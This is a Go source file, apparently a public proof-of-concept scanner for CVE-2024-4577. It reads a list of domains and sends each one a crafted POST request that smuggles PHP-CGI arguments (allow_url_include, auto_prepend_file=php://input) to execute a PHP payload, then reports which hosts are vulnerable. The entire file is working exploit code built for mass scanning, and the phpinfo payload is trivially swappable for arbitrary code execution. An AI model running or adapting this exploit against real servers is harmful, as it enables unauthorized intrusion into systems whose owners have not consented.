CVE-2024-4577.go

package main

import (
	"bufio"
	"bytes"
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"sync"
	"time"
)

const maxConcurrentRequests = 10

func checkVulnerability(domain string, wg *sync.WaitGroup, results chan<- string) {
	defer wg.Done()

	url := fmt.Sprintf("%s/index.php?%%25ADd+allow_url_include%%3D1+%%25ADd+auto_prepend_file%%3Dphp://input", domain)
	payload := []byte("<?php phpinfo(); ?>")
	client := &http.Client{
		Timeout: 10 * time.Second,
	}

	req, err := http.NewRequest("POST", url, bytes.NewBuffer(payload))
	if err != nil {
		results <- fmt.Sprintf("%s: Error creating request: %v", domain, err)
		return
	}

	req.Header.Set("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36")
	req.Header.Set("Accept", "*/*")
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	req.Header.Set("Connection", "keep-alive")

	fmt.Printf("Testing %s...\n", domain)
	resp, err := client.Do(req)
	if err != nil {
		results <- fmt.Sprintf("%s: Error making request: %v", domain, err)
		return
	}
	defer resp.Body.Close()

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		results <- fmt.Sprintf("%s: Error reading response: %v", domain, err)
		return
	}

	if bytes.Contains(body, []byte("PHP Version")) {
		results <- fmt.Sprintf("%s: Vulnerable", domain)
	} else {
		results <- fmt.Sprintf("%s: Not Vulnerable", domain)
	}
}

func main() {
	if len(os.Args) != 2 {
		fmt.Println("Usage: ./CVE-2024-4577 <domain_list_file>")
		os.Exit(1)
	}

	file := os.Args[1]
	f, err := os.Open(file)
	if err != nil {
		fmt.Printf("Error opening file: %v\n", err)
		os.Exit(1)
	}
	defer f.Close()

	scanner := bufio.NewScanner(f)
	var wg sync.WaitGroup
	results := make(chan string)
	semaphore := make(chan struct{}, maxConcurrentRequests)

	go func() {
		for result := range results {
			fmt.Println(result)
		}
	}()

	for scanner.Scan() {
		domain := scanner.Text()
		if domain == "" {
			continue
		}
		wg.Add(1)
		semaphore <- struct{}{}
		go func(domain string) {
			defer func() { <-semaphore }()
			checkVulnerability(domain, &wg, results)
		}(domain)
	}

	if err := scanner.Err(); err != nil {
		fmt.Printf("Error reading file: %v\n", err)
	}

	wg.Wait()
	close(results)
}